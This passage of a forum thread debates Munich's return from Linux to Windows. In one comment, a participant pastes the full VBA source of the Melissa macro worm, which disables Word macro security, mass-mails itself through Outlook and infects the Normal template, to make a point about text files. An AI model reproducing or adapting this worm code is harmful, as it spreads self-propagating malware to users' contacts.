      In any case, what's wrong with "workarounds" if they actually work? I must admit I don't use WINE for anything currently, but many years ago I did and it worked perfectly well for several applications.

      Just a heads up on Picasa - it doesn't exist any more, like a lot of image handling software it's been replaced by online versions, for better or for worse... though these happen to work fine on Linux!

      1. Anthonyl

        Re: @Anthonyl

        @ AJ MacLeod

        Fellow Mech Eng here too <g>

        Picasa exists on my XP computer, updates disabled. Getting an alternative for Linux isn't easy, Digikam is a bit rough around the edges and struggles (at least on my Mint KDE - which is now about to be dropped :( )

        WINE is likely to work with a number of applications though some of them will still require a purchased licence.

        But my main issue is why are we even talking about workarounds with Linux, wasted opportunities in my book.

        1. AJ MacLeod

          Re: @Anthonyl

          I'm pretty sure Picasa itself will run OK under WINE as from distant memory I seem to recall the Linux version was basically the Windows one bundled up with WINE (as is for example Teamviewer on Linux.) If it comes to the bit, Microsoft themselves are doing this now the other way round!

          Image manipulation is not something I do much of these days, but I mostly hear Darktable and Rawtherapee mentioned in connection with this (or shotwell for much more basic requirements.)

          Of course it doesn't matter what software you're coming from and going to, there will always be a learning effort required and rarely does one program excel the other completely in every area. When I moved from Windows about the only thing I actually gave up without finding a decent replacement for was Mathcad but overall the move was well worth that sacrifice.

    2. Kiwi Silver badge

      Why isn't my favourite Canon photo processing software readily available on Linux whereas both Microsoft and Apple are supported?

      TBH, as a lover of Cannon cameras (and have exclusively used them for work and play since I first tried one many years ago), I've never actually installed their processing software. Am I missing much?

      That said, I am a strict "via the lens" shooter, I don't edit photos (unless I need a panorama or need something (eg a number plate) to disappear).

      Image recognition software has nowhere need reached the levels of the free Picasa.

      Which is freely available on Linux (but like with all things google, have a very good and very close look at the licensing terms, in case there's a "by using our software you grant us a perpetual license to use/modify/sell/make derivatives of any photo you let this touch" (IIRC Flickr, the now dead(?) g+, lockedin etc have clauses like that - if you're a business and on LI they now own the rights to your logo (if you put it on there).

      Scanning software is a poor imitation of what comes with my printer.

      That's odd, what comes with the printer is normally a poor imitation of software.... </troll>

      I've never had any problems with the basic software that comes built into Linux. It's able to manage the scanner up to the full resolution of the scanner, and has some nice features for the average home user. If you're buying a much more expensive scanner than a home user earns in a year you might want to spend a bit on software as well, but for most people basic scanning software is easy to use. I'm just talking an elderly friend through sending some insurance documents through to someone else using xsane, an "ancient" Mustek 1200dpi USB1 scanner, and Thunderbird. Because it's easy to use with default settings, this person has found it easy to use, and has for the first time in his life scanned documents (if you don't count faxing), attached them to an email (also a first) and sent them to someone else - stress free (especially for phone support!) and successfully on the first try.

      Anyway, hope that helps and maybe one day I should see what software Cannon provides and see if it's useful or not.

      [Edit : Didn't know picasa was going the way of the dodo - RE Google's replacemnt : BLOODY CAREFULLY READ THE EULA!!!!!!!!!!!]

  35. Anonymous Coward
    Anonymous Coward

    Moving to windows 10 ? Good luck on that one. As anyone knows like me who has both linux and windows 10 which one gives you the least stability, most problems with 'upgrades' and most cost ? It ain't Linux. MS obviously has money to throw at politicians - but its product is still a pile of crap.

  36. MrBanana

    Politics

    1) We did a technical evaluation of product A and product B and found that product A was faster and more stable that product B.

    2) We gave both products to a sample of users and they all agreed that product A was more intuitive and easier to use that product B.

    3) The support team were able to answer more questions on product A on the first attempt than product B.

    4) The procurement department assessment was that the TCO of product A would be much less than product B.

    5) Our CEO plays golf with the CEO of the company that makes product B.

    Which product got chosen?

    1. d3vy Silver badge

      Re: Politics

      I call bullshit on points 2, 3 and 4 at least in the context of this article.

      1. MrBanana

        Re: Politics

        Please give your reasoned arguments for calling "bullshit" on the comparison between two completely fictional products? I made them up. A and B do not actually exist. In the context of this, or any other article.

        1. d3vy Silver badge

          Re: Politics

          "Please give your reasoned arguments for calling "bullshit" on the comparison between two completely fictional products? I made them up. A and B do not actually exist. In the context of this, or any other article."

          Well, as I said in the comment "IN THE CONTEXT OF THIS ARTICLE"

          The article is about switching from Linux to Windows so :

          2 : Linux as good as it is, is not intuitive for the average user who has worked with windows their entire life.

          3 : The existing support team will not be more familiar with linux over windows.

          4 : As has been discussed over and over again, the TCO inst that different between the two products.

          But you've decided that your comment is about two fictional products.. So completely irrelevant to the article...

          1. Kiwi Silver badge

            Re: Politics

            2 : Linux as good as it is, is not intuitive for the average user who has worked with windows their entire life.

            Well that's clearly rubbish. Anyone who's ever given a computer user (NOT tech, but someone for whom the computer is a utensil) will find that, even if they'd been using the best version of Windows for 90 years they'd still find Linux makes their computer "amazing, I never thought it could be so easy to use". Try giving your older relatives/friends some joy in their life, dump windows from their machines and give them Linux.

            3 : The existing support team will not be more familiar with linux over windows.

            If you're able to keep your head long enough to support windows, with all it's stupidities and incompatibilities and moving stuff from one version to the next and so on, the only problem you'll have with Linux is trying to work out why you wasted so much of your life supporting that MS stuff. I struggle to find anythign on 10 (thankfully have had very little to do with it),but I can jump into a new version of Linux with a DTE I've never even heard of before and know exactly what is what. (Ok, Q4OS did have one thing that threw me for half a minute or so the other day..Make that 40 seconds...)

            4 : As has been discussed over and over again, the TCO inst that different between the two products.

            ?? En Anglais sil te plait.

            1. d3vy Silver badge

              Re: Politics

              "Well that's clearly rubbish. Anyone who's ever given a computer user (NOT tech, but someone for whom the computer is a utensil) will find that, even if they'd been using the best version of Windows for 90 years they'd still find Linux makes their computer "amazing, I never thought it could be so easy to use". Try giving your older relatives/friends some joy in their life, dump windows from their machines and give them Linux."

              You see youve failed with your first point as it is obviously bollocks, I mean the comment that I was responding to was aparently about "fictional products" but going back to the article which is about windows and linux you will see one of the reasons that they are ditching it is user unfamiliarity... after SEVERAL YEARS the users are still struggling with linux.

              While I agree that linux is probably the way forward, its not there yet. I AM a techie, I run windows and linux for various tasks and for the user desktop windows is currently the right tool for the job...

              1. elgarak1

                Re: Politics

                Linux is not a monolithic product. Essentially, it's just the kernel, but what the user sees varies wildly from distribution to distribution. How well a transition to Linux works depends how well the distribution fits the actual user.

                One of the reasons the city of Munich can argue to switch back (to economic benefits of its councillors) is that the distribution (and the support infrastructure with it) they chose was shite.

              2. Pompous Git Silver badge

                Re: Politics

                "going back to the article which is about windows and linux you will see one of the reasons that they are ditching it is user unfamiliarity... after SEVERAL YEARS the users are still struggling with linux.

                While I agree that linux is probably the way forward, its not there yet."

                But they weren't using Cinnamon Mint in Munich. Shortly after I commenced using that distro, MS began fucking over Win7 installations and several of the friends/rellies that rely on me for support had me fix the problem. I replaced Win7 with Cinnamon Mint, showed them how to keep the system updated and that my friend has been that. Twelve months of zero demands for ongoing support. Local computer dude started doing this some time before me and reports that the only users having problems are those who can't resist fucking about in the system. Fortunately few in number.

              3. Kiwi Silver badge
                FAIL

                Re: Politics

                You see youve failed with your first point as it is obviously bollocks, I mean the comment that I was responding to was aparently about "fictional products"

                But the post I was responding to was where someone had made it about Windows vs Linux. Wonder who that was?

                but going back to the article which is about windows and linux you will see one of the reasons that they are ditching it is user unfamiliarity... after SEVERAL YEARS the users are still struggling with linux.

                I guess you missed my point, where I was talking about people who'd been using Windows for years and were still struggling with it, and loved Linux when I switched them because they just found it so much easier to use. And stable. Doesn't break over silly little things, takes seconds to shut down or start up, takes minutes (at most) to update with no forced reboots, and updates when they want. The user interface is stable. They can trust programs they installed yesterday are still installed today, settings are in the same place yesterday, today and tomorrow, with the same interface.

                I use Linux as my main system because it's easier. I don't come home from a long day wanting to relax, or get to the office to work (not these days but I've spent most of my life working) only to have to wait for 40+ minutes while Windows does it's sill "please wait while installing updates" (and sometimes "please wait while installing... install failed reverting ... installing agtain... failed again... installing again.. failed[clicked[ you turned it off in desperation after 48 HOURS of this, now the filesystem is stuffed, REINSTALL EVERYTHING MU WHA WHA HA HA HA HA HA HA! - tell me please how is granny supposed to fix or recover from that?)

                Older people find Linux easier to use. They find it simple, reliable, and to them it has and maintains an intuitive interface. Icons don't wander around the desktop (at least not IME), stuff does what it says on the tin, it works - and they love that it works and they don't have to be scared of turnign their computer in in case it breaks and they have an expensive repair bill (for some pensioners an extra cup of tea can almost break the bank let alone paying for a tech to make a house call since they're unable to take the machine in to the shop themselves)

                Oh, and don't forget most of the world seems to do their stuff on Linux quite happily. Those same users who were alledgedly having problems with Linux on the machine? Most of them use it every day in several devices without giving it a second thought. They press a button and their TV or radio or whatever comes on. Their car starts on cue. They ring their spouse and check movie listings or book a restaurant or whatever, constantly using apps running on Linux to enhance their lives. MS may have the desktop, but Linux has everything else.

    2. Anonymous Coward
      Anonymous Coward

      Re: Politics

      "5) Our CEO plays golf with the CEO of the company that makes product B."

      Well in this case clearly it was product B. At least they are finally correcting that error even if it took many years of users complaints and higher costs of running a zoo to get there. Most of the line IT world is of course now thinking "told you so"!

  37. Tigra 07 Silver badge

    "Munich had huge difficulties in communicating with other authorities, communities and other externals"

    German bureaucracy at it's finest

  38. Anonymous Coward
    Anonymous Coward

    It goes without saying that all the poor users that had to use the current zoo of OSS crap are out partying tonight!

  39. mark l 2 Silver badge

    Surely someone should have done an audit of what software they used across the council and tried to get these 800 programs running BEFORE migrating to Linux?

    I also fail to see how they HAD to go with MS Exchange for email, if there was one area that they could have made to switch away from Windows it is with their email servers.

    1. Anonymous Coward
      Anonymous Coward

      "I also fail to see how they HAD to go with MS Exchange for email, if there was one area that they could have made to switch away from Windows it is with their email servers."

      Name any product that even comes close to Exchange / Outlook for enterprise calendar and email via proper application clients and that provides enterprise grade fault tolerance?

      1. Kiwi Silver badge

        provides enterprise grade fault tolerance?

        Thankfully none. I mean, tolerating faults like fuck-all security that lets malware run rampant on your systems might be fine for some people/orgs, but I'd rather NOT have MS garbage near anything important. You're just asking to have your systems compromised with spyware before you're finished installing their garbage!

        1. Anonymous Coward
          Anonymous Coward

          "Thankfully none. I mean, tolerating faults like fuck-all security that lets malware run rampant on your systems might be fine for some people/orgs"

          Fortunately hardly anyone in enterprises uses Sendmail anymore so problems like the Morris Worm have largely gone away...

          1. Kiwi Silver badge
            FAIL

            problems like the Morris Worm

            Never ceases to amaze me how, when talking about modern Windows flaws, MS shills have to reach all the way back to 1988 to find something almost as bad in *nix...

            Comparing modern MS security to 1988 Unix security. Way to show how great the security of MS products is!

            1. jake Silver badge

              Funny thing is it wasn't a bug in UNIX.

              It was a bug in the way Sendmail parsed the line noise usually referred to as a configuration file. For example, my home machine was unaffected, because I wasn't running Sendmail (no need for a full-blown MTA at home). My work equipment, on the other hand, was.

              Coincidentally, Slackware has just today (17th) moved Sendmail from the N series to extra in -current ... Not that that matters much these days.

            2. Pompous Git Silver badge

              "Never ceases to amaze me..."
              Really? How amazing is claiming "opening a text file (document) still gets the machine infected. In 2017."

              I saved the following text as melissa.txt:

              "Private Sub Document_Open()

              On Error Resume Next

              If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then

              CommandBars("Macro").Controls("Security...").Enabled = False

              System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&

              Else

              CommandBars("Tools").Controls("Macro").Enabled = False

              Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)

              End If

              Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice

              Set UngaDasOutlook = CreateObject("Outlook.Application")

              Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")

              If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo" Then

              If UngaDasOutlook = "Outlook" Then

              DasMapiName.Logon "profile", "password"

              For y = 1 To DasMapiName.AddressLists.Count

              Set AddyBook = DasMapiName.AddressLists(y)

              x = 1

              Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)

              For oo = 1 To AddyBook.AddressEntries.Count

              Peep = AddyBook.AddressEntries(x)

              BreakUmOffASlice.Recipients.Add Peep

              x = x + 1

              If x > 50 Then oo = AddyBook.AddressEntries.Count

              Next oo

              BreakUmOffASlice.Subject = "Important Message From " & Application.UserName

              BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"

              BreakUmOffASlice.Attachments.Add ActiveDocument.FullName

              BreakUmOffASlice.Send

              Peep = ""

              Next y

              DasMapiName.Logoff

              End If

              System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by Kwyjibo"

              End If

              Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)

              Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)

              NTCL = NTI1.CodeModule.CountOfLines

              ADCL = ADI1.CodeModule.CountOfLines

              BGN = 2

              If ADI1.Name <> "Melissa" Then

              If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL

              Set ToInfect = ADI1

              ADI1.Name = "Melissa"

              DoAD = True

              End If

              If NTI1.Name <> "Melissa" Then

              If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL

              Set ToInfect = NTI1

              NTI1.Name = "Melissa"

              DoNT = True

              End If

              If DoNT <> True And DoAD <> True Then GoTo CYA

              If DoNT = True Then

              Do While ADI1.CodeModule.Lines(1, 1) = ""

              ADI1.CodeModule.DeleteLines 1

              Loop

              ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")

              Do While ADI1.CodeModule.Lines(BGN, 1) <> ""

              ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)

              BGN = BGN + 1

              Loop

              End If

              If DoAD = True Then

              Do While NTI1.CodeModule.Lines(1, 1) = ""

              NTI1.CodeModule.DeleteLines 1

              Loop

              ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")

              Do While NTI1.CodeModule.Lines(BGN, 1) <> ""

              ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)

              BGN = BGN + 1

              Loop

              End If

              CYA:

              If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then

              ActiveDocument.SaveAs FileName:=ActiveDocument.FullName

              ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then

              ActiveDocument.Saved = True

              End If"

              Then I opened the melissa.txt file by double-clicking it. Suddenly, nothing happened except the text file was open in Notepad. You claim my computer is now infected. Because 2017. You either know sweet fuck all about computing, or you are assuming other commentards know sweet fuck all.

              1. Kiwi Silver badge
                Facepalm

                "Never ceases to amaze me..."

                Really? How amazing is claiming "opening a text file (document) still gets the machine infected. In 2017."

                A couple of us showed you links to articles on El Reg covering that. Why don't you go and read them?

                or you are assuming other commentards know sweet fuck all.

                With posts like yours, assumption is unnecessary.

                1. Pompous Git Silver badge

                  "A couple of us showed you links to articles on El Reg covering that. Why don't you go and read them?

                  "

                  I did. They weren't at all about "opening a text file"; they describe executing the commands in a Word document by opening a word document and explicitly allowing Word to run the malicious code therein. Word warns you when opening such a document.

                  Melissa.txt I describe below is a text file. Opening it in Word, or Notepad does not infect the machine. Your claim is thus demonstrated to be totally and utterly false.

                  BTW LibreOffice Writer also allows the creation of macros. Since that application also runs on Linux, it's possible for documents opened on that platform to do malicious things.

                  1. jake Silver badge

                    What a palaver ...

                    The point is that Microsoft, in all it's wisdom, decided to make a document file, which the entire planet until then treated as data, into an executable file. Without sanitizing the environment that it executed in. And they have continued this bad coding practice for twenty years. Argue nits all you like, thems the facts.

                    1. Pompous Git Silver badge

                      Re: What a palaver ...

                      "The point is that Microsoft, in all it's wisdom, decided to make a document file, which the entire planet until then treated as data, into an executable file."
                      Every word processor I've used has included macros, that is a programmatic component. The reason Word was exploited was because of its ubiquity. The most powerful macro language in my experience was that included with Sprint, but it never sold at all well [sigh]. That would have been a tool for mayhem had it sold well.

                      The reason MS went with a binary for its DOC file format was it meant DOC files occupied far less disk space than ASCII when that was expensive real estate. It also meant saves were far quicker, though that was only a concern on larger files. And that was where Word ran into problems. It has never handled large files very well. So it goes...

                      1. jake Silver badge

                        Re: What a palaver ...

                        You missed the "Without sanitizing the environment that it executed in." bit. Kinda important, that bit, don'tcha think? Especially in this conversation.

                        1. Pompous Git Silver badge

                          Re: What a palaver ...

                          Frankly I don't know what you're getting at here. What does "Without sanitizing the environment that it executed in" actually mean? Do you really think the average writer is capable of your magnificent feat of writing a document from start to finish, endnotes etc without needing to do any editing? Word, without being anywhere near the best word processor on the market manages a more than decent decent job at a remarkably low price. vi is not a word processor, it's a basic text editor and a very good one. How do you convert footnotes into endnotes with it? How do you insert the missing full stops in 95% of the footnotes that the author forgot as happened with a recent MS that I published? There were over a thousand of them.

                          As I said earlier, I'll use the primitive tools you suggest when you go back to using punchcards for programming.

                          1. jake Silver badge

                            Re: What a palaver ...

                            I use vi as a word processor for processing words. Making it pretty is another function altogether ... and one that I often leave to an editor. It's what they are paid for. Isn't your time valuable? Mine is.

                            1. Pompous Git Silver badge

                              Re: What a palaver ...

                              "Making it pretty is another function altogether ... and one that I often leave to an editor. It's what they are paid for. Isn't your time valuable? Mine is."
                              First, it's not usually the role of an editor to make a document look "pretty". A coffee table book maybe, but most publications are not coffee table books. Tim O'Reilly for example publishes how-to books on computerish subjects and very good they are too. That's why when people ask me for advice on publishing I usually show them an O'Reilly book as an example of excellence.

                              I also show them for contrast a recipe book I have. It's chocka-block with pretty pictures. So much so that the "typographer" has shrunk the pale grey on white text to the point of invisibility for most of us. IOW it's not fit for purpose.

                              First book I wrote was published by a local publisher who encouraged me to write it. It sold ~50,000 copies in the first two print runs. RRP was $AU19.50 and the cost per book was ~$AU5 leaving a gross profit of $AU14.50 per book or $AU725,000. The contract specified I was to receive 50% of the gross. The publisher offered me $AU10,000. My lawyer advised me I would "win" at court, but the company would have flogged off all assets by then and the return to me would be nil. My time is worth a lot more than $AU10/hr.

                              And that is why when the 'knarchitect advised me to hire a builder to build The House of Steel I didn't; I managed the project myself. The builders' quote were ~$AU350,000. I built it for $AU170,000. Earning the additional $AU180,000 would have entailed paying ~$AU120,000 income tax. It took ~2,500 hours of my time for the build so my "income" was $AU120/hr. Based on what I learnt during that build my next will take considerably less time and the costs should be ~20% lower.

                    2. Anonymous Coward
                      Anonymous Coward

                      Re: What a palaver ...

                      "The point is that Microsoft, in all it's wisdom, decided to make a document file, which the entire planet until then treated as data, into an executable file"

                      Sounds rather like a description of a Linux shell script to me?

                      Microsoft added Macro capabilities into a file which when loaded into Office can perform various functions. It's not directly executable. And by the way, Libre Office, etc offer similar functionality.

                  2. anonymous boring coward Silver badge

                    "Word warns you when opening such a document."

                    That's gonna stop a lot of users! ;-p

                    1. Kiwi Silver badge
                      Paris Hilton

                      "Word warns you when opening such a document."

                      That's gonna stop a lot of users! ;-p

                      I've seen people somehow manage to have the mouse in position to click away UAC warnings the microsecond they appear (a decent concept except for the "user hits the 'make it go away NOW!' button" problem). I don't think warning dialogues from any other software would last as long with general users.

                      There's no slowing stupid :(

                      1. Pompous Git Silver badge

                        "Bugger! That's the second bullshit detector burned out this week!""
                        Might have something to do with the bullshit generator taking up all the room.

                    2. Pompous Git Silver badge

                      ""Word warns you when opening such a document."

                      That's gonna stop a lot of users! ;-p"

                      BLOCKED CONTENT Macros in this document have been disabled by your enterprise administrator for security reasons. See: New feature in Office 2016 can block macros and help prevent infection

                2. Anonymous Coward
                  Anonymous Coward

                  "A couple of us showed you links to articles on El Reg covering that. Why don't you go and read them?"

                  The only ones I saw referred to MS Office documents being opened in MS Office. So not a "text file" and not an exploit in the OS. And you have to specifically chose to enable active content and then disable the sandbox by clicking 2 explicit warnings to enable that.

            3. Anonymous Coward
              Anonymous Coward

              "MS shills have to reach all the way back to 1988 to find something almost as bad in *nix..."

              Lol, hardly. See CVEs in Linux 7+ rated by CVE descending order:.

              https://www.cvedetails.com/vulnerability-list.php?vendor_id=33&product_id=&version_id=&page=1&hasexp=0&opdos=0&opec=0&opov=0&opcsrf=0&opgpriv=0&opsqli=0&opxss=0&opdirt=0&opmemc=0&ophttprs=0&opbyp=0&opfileinc=0&opginf=0&cvssscoremin=7&cvssscoremax=0&year=0&month=0&cweid=0&order=1&trc=127&sha=224fd5c51a72a374272dba87eae1ee2ddf1c1b88

  40. aicra

    What 400 apps?

    Hold on... an estimated 400 apps don't run on Linux...?

    Can you get me a list?! Send these to admin@gnulinux.io

    If that's true - maybe we need to get to work. WTF. 400 seems like a large number... JS.

    "Hübner said the city has struggled with LiMux adoption. "Users were unhappy and software essential for the public sector is mostly only available for Windows," she said.

    She estimated about half of the 800 or so total programs needed don't run on Linux and "many others need a lot of effort and workarounds"."

    1. WolfFan Silver badge

      Re: What 400 apps?

      It rather depends on what they mean by 'app'. If, for example, they have several ancient (but paid for, and, more important, still working) scanners or printers or large-format copiers which sit on the network and can be used as scanners, printers, fax machines, combinations of the above, each of which has proprietary apps required to use certain features, then the chance of there being a Linux version of those apps approaches zero. No local government entity is going to throw out still working equipment just to be compatible with a new OS. Not going to happen. If the users require certain software (AutoCAD, Photoshop, many others) which have limited, if any, support or equivalents. See, for example, https://alternativeto.net/software/autocad/?platform=linux for AutoCAD replacements. Note that many of the 'replacements' are 2D only, not much use if you need 3D, and that at least one of those which is 3D lacks drafting abilities. Seriously, there does not appear to be Linux-based software which does what AutoCAD does. Someone could point out anything which does. Nor is there Linux-based software to replace Photoshop. I know, from actual experience, that the GIMP is not a Photoshop replacement. It simply can't do what Photoshop can. If there is something else which can replace Photoshop, by all means point it out.

      Even if 797 of the 800 can be replaced by something running on Linux, and the three which can't are Photoshop, AutoCAD, and required to run the printer, respectively, the users will not be going to Linux. There will be other apps, especially specialist government apps which have no Linux versions and which won't have a Linux version unless and until the government forks over additional cash to the developers, which almost certainly ain't gonna happen. I rather suspect that the reason why there wasn't a 100% roll-out to Linux in the first place was that certain apps could not be replaced. And still can't.

      I further suspect that the reason why the French gendarmes can go all-Linux is that they don't need PhotoShop or AutoCAD, and either don't have ancient hardware not supported by Linux or dumped it. And their special apps are web apps, and don't care, or written in-house, or someone else developed a Linux version and the gendarmes liberated a copy.

      1. jake Silver badge

        Re: What 400 apps?

        I use and recommend VeriCAD, GIMP works for nearly everything anybody could ask for in an image manipulation program, and I haven't had an issue with a printer/scanner/fax hydra on Linux in, what, a decade and a half?

        For the one or two users in a tens-of-thousands-of-seats system who actually need (that's NEED, not WANT) AutoCAD or Photoshop or some obscure printer/scanner/fax hydra ... Evaluate the business case, and figure out if it's worth supporting an instance of Windows for that particular user. Simples.

        Try again. Your argument is specious at best.

        1. Richard 12 Silver badge

          Re: What 400 apps?

          In fact, ancient hardware support is one place where Windows is a complete non-starter and Linux absolutely excels. Printers like that probably work perfectly under modern Linux, and not at all undwr Windows 10.

          There will be specialist software that specifically requires Windows, macOS, Linux or even some particular Unix flavour. That's to be expected, and those users should have their specific needs provided for.

          It is clearly rather foolish to put everyone in a large organisation onto a single hardware and software platform. A mix is the right thing to do for practically every large org.

          1. WolfFan Silver badge

            Re: What 400 apps?

            In fact, ancient hardware support is one place where Windows is a complete non-starter and Linux absolutely excels. Printers like that probably work perfectly under modern Linux, and not at all undwr Windows 10.

            not with my equipment. (eyes 25-year-old imagesetter taking up half the room) Sorry, son, but I base my statement on actual local conditions. YMMV, but I really do have ancient stuff which works only in Windows. One or two work only in Win XP or 2000, so I have to keep ancient WinBoxes around just to run them. They are simply not supported by anything modern. They're still working, so management ain't dumping them. I look at newer stuff and wish I could pry loose the funding, but that ain't happening until the old stuff dies. And that's not going to be soon. When they finally do die, or when the last Win XP box dies and I have nothing left which can talk to them, then I'll get funding for replacements, probably on an emergency basis, knowing management. Until then, they stay.

            1. Richard 12 Silver badge

              Re: What 400 apps?

              So it doesn't work under Windows 10, and never will.

              Just like I said.

              If the cost of staying on XP or 2000 ever gets too high, Linux is very likely to be the only feasible way to keep it running - because it has low-level support for practically every communications protocol, and support for modern hardware.

              Assuming that it genuinely does require a driver package that nobody has ever made for Linux, you could pay someone to write it.

              Whether it's worth the cost of that development is a different question. Maybe, maybe not.

            2. jake Silver badge

              Re: What 400 apps?

              So essentially you're a sample of one? And the rest of the company has to follow your lead for the tools they use? Hell of a way to run a railroad ...

              Linux has raster image processing tools. I'll bet you a plugged nickle that I could have that imagesetter happily taking input from Linux in under a day. Might even be able to find the code online yourself, if you look. My AGFA CTF works quite nicely with Linux despite supposedly being "Windows only". (It was free, a client moved from CTF to CTP ... I needed something to make negs for my KORD, and I hate stripping ... hey, it's all gh^H^Hpostscript under the hood, right?).

              Your "comparison of AutoCAD and VariCAD" site isn't very useful. It's comparing 2014 VeriCAD to 2016 AutoCAD. Not that the site in question has dates, or version numbers for that matter, displayed anywhere that I could see. What, exactly, does today's AutoCAD do for you that today's VariCAD doesn't?

              CS5.5? That's ancient. But OK, I'll bite. What, exactly, does that ancient version of Photoshop do that modern GIMP does not?

              And what the fuck does this have to do with Munich failing to maintain and already completed, running, and usable conversion from Redmond to Linux?

          2. Anonymous Coward
            Anonymous Coward

            Re: What 400 apps?

            "Printers like that probably work perfectly under modern Linux, and not at all undwr Windows 10."

            Windows 10 supports printer drivers all the way back to Windows XP if there is no native Windows 10 driver. You just install them in "compatibility mode".

        2. WolfFan Silver badge

          Re: What 400 apps?

          I use and recommend VeriCAD, GIMP works for nearly everything anybody could ask for in an image manipulation program, and I haven't had an issue with a printer/scanner/fax hydra on Linux in, what, a decade and a half?

          VeriCAD vs AutoCAD: see, for example, http://cad.softwareinsider.com/compare/5-27/AutoCAD-vs-VariCAD It rather depends on what you need. For what I need, no, it doesn't work.

          The GIMP vs PhotoShop: Nope, the GIMP doesn't do what I need. I have tried it, repeatedly. I'd love to use it. My current version of PhotoShop is CS 5.5 and I'm never, ever, going to Creative Cloud. Ever. Sooner rather than later CS 5.5 is going to go TITSUP; it demands the use of a truly ancient version of Java, no longer officially supported. Every time I install an upgrade to either Windows or Mac I must go and reinstall the damn Java thing, or PhotoShop, Illustrator, and other parts of CS 5.5 which aren't important, don't work any more, as in they don't bloody start up. If the GIMP did what I needed, I would long ago have moved. As it is, I'm going to go with Affinity Photo, probably by the end of the year. That seems to do all of what I need.

          YMMV.

        3. vincent himpe

          Re: What 400 apps?

          I find it funny how people keep comparing Gimp to Photoshop. Or xx to yy.

          Let's try this : how many Photoshop plugins work in Gimp on Linux (Gimp on windows, yes, some do work) ?

          Adobe Illustrator vs Inkscape ( inkscape is really great ! ). Until you want to prepare stuff to go to press... Then it fails. Cause the press world wants Adobe.

          Other tools : Solidworks anyone ? Autocad ?

          There is your answer ....

          Interoperability is a problem. The world is larger than your desk ... or office.

  41. Daniel von Asmuth Bronze badge
    Facepalm

    Windows are good

    Windows are good for defenestration, esp. this 'fall creators edition'. Just open windows, drag and drop politicians.

    https://en.wikipedia.org/wiki/Defenestration

    "She said the cost of the migration will not be made public until November 23,"

    Would that be November 2023?

  42. IGnatius T Foobar
    Linux

    Pyrhhic victory for Microsoft

    It's a little late for this small victory for Microsoft. It is true that the Linux desktop has failed to catch on in a big way. But it's also come to pass that Linux now dominates pretty much *every* other sector of computing. Mobile? 80+ percent Linux, and pretty close to 100% non-Microsoft. Network infrastructure? All Linux. Cloud? 100% Linux, except for Microsoft's own. Servers? No one runs Windows Server anymore, except to run Microsoft's own server applications. The game of Microsoft using its desktop monopoly to take over everything else is pretty much over, and they lost.

    The point is: Microsoft is no longer an existential threat to everyone who is not itself anymore. That mantle is now held by Amazon, and to a lesser extent, Facebook.

    1. Anonymous Coward
      Anonymous Coward

      Re: Pyrhhic victory for Microsoft

      "No one runs Windows Server anymore, except to run Microsoft's own server applications."

      You might like to dream so. Microsoft have over 75% of the on premise server market, and according to both companies results, Microsoft overtook AWS 2 quarters ago in cloud - now at an ARR of $20 billion...

  43. Ken Moorhouse Silver badge

    800 programs

    I must admit to not reading the whole of this thread, so apologies if this has already been raised.

    Out of that 800 programs, how much data is there there which is subject to Data Protection legislation? I would have thought that the DP angle would be sufficient to galvanise the authorities into consolidating the data so that is more easily accessible for such purposes.

  44. lofoten

    Changing the tax location might have helped too

    Microsoft is moving the german headquarter inside the city borders. That leads to an enormous tax advantage as the move does cross a tax border also.

    1. Hans 1 Silver badge
      Coat

      Re: Changing the tax location might have helped too

      Upvoted, do provide a link, though ... like, this one:

      https://mspoweruser.com/microsoft-germany-moves-into-a-new-headquarters/

      Icon, because we needed a smoking gun, now we have one ;-)

      https://itsfoss.com/wp-content/uploads/2013/12/killed-tux.jpg

      1. Fruit and Nutcase Silver badge

        Re: Changing the tax location might have helped too

        Looks like they've even got Taylor Swift working for them

        https://mspoweruser.com/wp-content/uploads/2016/09/Webgroesse_HighRes_Microsoft12681.jpg

  45. jake Silver badge

    Look on the bright side.

    Now we have an actual case study of how NOT to maintain a very large, completed migration from Redmond to Linux.

    Thank you, Munich! We'll do our best not to emulate your failure.

    1. ecofeco Silver badge

      Re: Look on the bright side.

      Exactly.

  46. Philip Hands

    Couldn't conceivably have anything to do with MS moving their HQ, of course

    MS moves HQ ... to Munich (Sep 2016)

    I'm sure the local government wouldn't have indulged in some sort of tit for tat arrangement to make sure that's where they ended up, would they?

    And the honorable politicians would never do something like ask a Microsoft partner to assess the wisdom of switching back to Windows now, would they? No, no, of course they wouldn't do something so transparently corrupt.

  47. Kiwi Silver badge
    Devil

    Hmmmmm

    ... of 30,000 users ...

    And

    "As everything needed to be developed by ourselves, the city's IT was 10 to 15 years behind market standard. The City of Munich is not an IT developer, but has other major concerns to deal with."

    You mean they couldn't find ONE software house willing to take on such a job? They couldn't go to any of the software houses writing their '800 necessary programs' and say "Hey, can you port this to Linux? We have 30,000 users".

    Not one?

    Hmm.. Something is very rotten in the state of DenmarkGermany.

    -->Icon : El Reg, we need something closer to a rotting fish. Or that smells like a rotting fish.. (Picture of Amber Rudd? Some say she's a rotten c......)

    1. WolfFan Silver badge

      Re: Hmmmmm

      They could. They just couldn't find one which would do the job at the price specified.

    2. Ubermik

      Re: Hmmmmm

      How would that have changed anything though?

